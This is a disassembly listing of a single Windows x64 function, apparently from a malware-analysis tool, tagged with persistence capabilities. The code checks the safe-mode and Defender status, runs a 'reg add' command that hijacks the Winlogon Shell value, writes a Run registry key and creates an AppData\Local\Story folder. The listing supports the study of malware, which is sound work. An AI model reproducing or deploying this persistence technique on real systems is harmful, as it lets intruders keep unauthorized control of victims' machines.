Function at 0x1400179e0
Capabilities:
Create directory
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rbp + 0x88], rax
mov r12, rcx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x70], rcx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
lea rdx, [0x140024fa8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, [0x14002c2c8]
cmp qword [0x14002c2e0], 0x10
cmovae rdx, qword [0x14002c2c8]
mov r8, qword [0x14002c2d8]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fa0]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._pid
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, [0x14002c288]
cmp qword [0x14002c2a0], 0x10
cmovae rdx, qword [0x14002c288]
mov r8, qword [0x14002c298]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fd0]
mov rcx, rax
call fcn.14000df30
lea r13, [0x14002c228]
mov rdx, r13
cmp qword [0x14002c240], 0x10
cmovae rdx, qword [0x14002c228]
mov r8, qword [0x14002c238]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fc0]
mov rcx, rax
call fcn.14000df30
lea rdx, [0x14002c3a8]
cmp qword [0x14002c3c0], 0x10
cmovae rdx, qword [0x14002c3a8]
mov r8, qword [0x14002c3b8]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fa0]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024ff0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, str.NONE
cmp qword [0x14002c380], 0x10
cmovae rdx, qword [str.NONE]
mov r8, qword [0x14002c378]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fa0]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140025008]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
mov edx, dword [0x14002d0a8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140024fa0]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140025018]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140024fa0]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r14d
mov rax, qword [0x14002d0b8]
mov rcx, qword [0x14002d0b0]
sub rax, rcx
cmp rax, 0x20
jb 0x140017d3d
mov esi, r14d
lea rbx, [rsi + rcx]
mov rdx, rdi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14002502c]
call fcn.14000df30
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140017cf1
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140025028]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc rdi
add rsi, 0x20
mov rax, qword [0x14002d0b8]
mov rcx, qword [0x14002d0b0]
sub rax, rcx
sar rax, 5
cmp rdi, rax
jne 0x140017cc1
lea rdx, [0x140025030]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140024fa0]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._SAFEMODE:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, [0x14002c328]
cmp qword [0x14002c340], 0x10
cmovae rdx, qword [0x14002c328]
mov r8, qword [0x14002c338]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fa0]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._DEFENDER:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
lea rdx, [0x14002c268]
cmp qword [0x14002c280], 0x10
cmovae rdx, qword [0x14002c268]
mov r8, qword [0x14002c278]
mov rcx, rax
call fcn.14000f160
lea rdx, [0x140024fa0]
mov rcx, rax
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14002c2e8]
mov rcx, r12
call fcn.14000cf70
mov r15d, 1
mov dword [rsp + 0x40], r15d
lea rdx, [0x14002c088]
cmp qword [0x14002c0a0], 0x10
cmovae rdx, qword [0x14002c088]
mov rdi, qword [0x14002c240]
mov rcx, r13
mov rsi, qword [0x14002c228]
cmp rdi, 0x10
cmovae rcx, rsi
mov rbx, qword [0x14002c238]
cmp rbx, qword [0x14002c098]
jne 0x140017eee
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140017f5c
lea rdx, [0x14002c168]
cmp qword [0x14002c180], 0x10
cmovae rdx, qword [0x14002c168]
mov rcx, r13
cmp rdi, 0x10
cmovae rcx, rsi
cmp rbx, qword [0x14002c178]
jne 0x140017f25
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140017f5c
lea rdx, [0x14002c148]
cmp qword [0x14002c160], 0x10
cmovae rdx, qword [0x14002c148]
mov rcx, r13
cmp rdi, 0x10
cmovae rcx, rsi
cmp rbx, qword [0x14002c158]
jne 0x140017f86
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140017f86
cmp dword [0x14002d0a8], 0
jne 0x140018994
lea rdx, [0x14002c288]
lea rcx, [rbp + 0x18]
call fcn.14000cf70
mov rcx, rax
call fcn.1400040c0
jmp 0x140018994
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r14
lea rsi, [0x14002c188]
cmp qword [0x14002c1a0], 0x10
cmovae rsi, qword [0x14002c188]
mov rdi, qword [0x14002c198]
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x1400189cd
mov eax, 0x16
lea rdx, [rax - 0x17]
mov qword [rbp + 0x50], 0xf
cmp rdi, 0x10
jae 0x140017ff6
mov qword [rbp + 0x48], rdi
lea r8d, [rax - 6]
mov rdx, rsi
lea rcx, [rbp + 0x38]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001807a
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x140018007
mov rbx, r14
jmp 0x14001800e
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, r15
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140018050
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400189d3
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x140018983
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001805e
test rcx, rcx
je 0x14001805c
call fcn.14001f080
jmp 0x14001805e
xor eax, eax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
lea rsi, [0x14002c208]
cmp qword [0x14002c220], 0x10
cmovae rsi, qword [0x14002c208]
mov rdi, qword [0x14002c218]
cmp rdi, r14
ja 0x1400189d9
mov qword [rbp + 0x10], 0xf
cmp rdi, 0x10
jae 0x1400180ed
mov qword [rbp + 8], rdi
lea r8d, [rax + 0x10]
mov rdx, rsi
lea rcx, [rbp - 8]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001817b
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x1400180fe
mov rbx, r14
jmp 0x14001810b
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140018155
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400189df
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x140018931
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001815f
test rcx, rcx
je 0x14001815f
call fcn.14001f080
mov qword [rbp - 8], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov rcx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14001818a
mov rcx, qword [r12]
lea rdx, [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140018210
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov rdx, r12
lea rcx, [rsp + 0x68]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp - 0x28]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140003110
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140018210
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001820b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001820b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rcx, qword [rbp - 8]
lea rdx, [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14001837d
lea rax, [rbp - 0x28]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xor eax, eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
lea rsi, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rsi, qword [rbp - 8]
mov rdi, qword [rbp + 8]
cmp rdi, r14
ja 0x1400189e5
mov qword [rbp - 0x10], 0xf
cmp rdi, 0x10
jae 0x14001828c
mov qword [rbp - 0x18], rdi
lea r8d, [rax + 0x10]
mov rdx, rsi
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001831d
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x14001829d
mov rbx, r14
jmp 0x1400182aa
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x1400182f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400189eb
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x1400182f0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018301
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140018301
call fcn.14001f080
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, str.NONE
lea rcx, [rsp + 0x68]
call fcn.14000cf70
nop
lea r8, [rbp - 0x28]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140003110
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14001837d
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018378
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018378
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
cmp qword [0x14002c280], 0x10
lea rax, [0x14002c268]
cmovae rax, qword [0x14002c268]
mov r8, qword [0x14002c278]
lea r12, [0x14002c1a8]
cmp r8, 2
jne 0x140018631
lea rdx, [0x140023ae4]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140018631
cmp qword [0x14002c340], 0x10
lea rax, [0x14002c328]
cmovae rax, qword [0x14002c328]
mov r8, qword [0x14002c338]
cmp r8, 6
jne 0x140018631
lea rdx, str.NORMAL
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140018631
mov rcx, qword [0x14002c2f8]
mov rax, r14
sub rax, rcx
cmp rax, 0x5e
jb 0x1400189f1
cmp qword [0x14002c300], 0x10
lea rax, [0x14002c2e8]
cmovae rax, qword [0x14002c2e8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x5e
lea r9, str.reg_add__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___t_REG_SZ__d__
lea rcx, [rbp + 0x18]
call fcn.14000f020
mov dword [rsp + 0x40], 3
mov r8d, 4
lea rdx, str.___f
lea rcx, [rbp + 0x18]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r15d, 7
mov dword [rsp + 0x40], r15d
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1400184eb
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400184e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400184e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, r12
cmp qword [0x14002c1c0], 0x10
cmovae rdx, qword [0x14002c1a8]
mov rcx, r13
cmp qword [0x14002c240], 0x10
cmovae rcx, qword [0x14002c228]
mov r8, qword [0x14002c238]
cmp r8, qword [0x14002c1b8]
jne 0x140018553
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400185f3
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 3
mov qword [rbp - 0x80], 0xf
movzx eax, word [0x140023914]
mov word [rsp + 0x68], ax
movzx eax, byte [0x140023916]
mov byte [rsp + 0x6a], al
mov byte [rsp + 0x6b], 0
lea rdx, [0x1400238d5]
lea rcx, [rbp - 0x68]
call fcn.1400019d0
mov rdi, rax
lea rdx, [0x1400238d5]
lea rcx, [rbp - 0x48]
call fcn.1400019d0
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x58]
call fcn.1400019d0
nop
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.1400042b0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140018631
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001862c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001862c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov rdx, r12
cmp qword [0x14002c1c0], 0x10
cmovae rdx, qword [0x14002c1a8]
mov rcx, r13
cmp qword [0x14002c240], 0x10
cmovae rcx, qword [0x14002c228]
mov r8, qword [0x14002c238]
cmp r8, qword [0x14002c1b8]
jne 0x140018674
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400186f4
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x78], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x58], rax
lea rdx, [0x140023910]
lea rcx, [rbp + 0x58]
call fcn.1400019d0
mov rsi, rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.14000cf70
mov rdi, rax
lea rdx, [0x14002c248]
lea rcx, [rbp - 0x68]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x18]
call fcn.1400019d0
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.1400042b0
lea rdx, [0x140025100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140024fa0]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140024fb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14002c1c0], 0x10
cmovae r12, qword [0x14002c1a8]
cmp qword [0x14002c240], 0x10
cmovae r13, qword [0x14002c228]
mov r8, qword [0x14002c238]
cmp r8, qword [0x14002c1b8]
jne 0x1400188ff
mov rdx, r12
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400188ff
cmp dword [0x14002d0a8], eax
je 0x1400188ff
mov rax, qword [0x14002c3b8]
sub r14, rax
cmp r14, 9
jb 0x1400189c7
cmp qword [0x14002c3c0], 0x10
lea rcx, [0x14002c3a8]
cmovae rcx, qword [0x14002c3a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0x18]
call fcn.14000f020
or r15d, 8
mov dword [rsp + 0x40], r15d
mov r8d, 0x14
lea rdx, str.AppDataLocalStory
lea rcx, [rbp + 0x18]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r15d, 0x10
mov dword [rsp + 0x40], r15d
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140018881
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001887c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001887c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x58]
call fcn.14000cf70
mov rcx, rax
call fcn.140002e90
test al, al
jne 0x1400188c0
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400188ff
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400188f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400188f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14001893d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
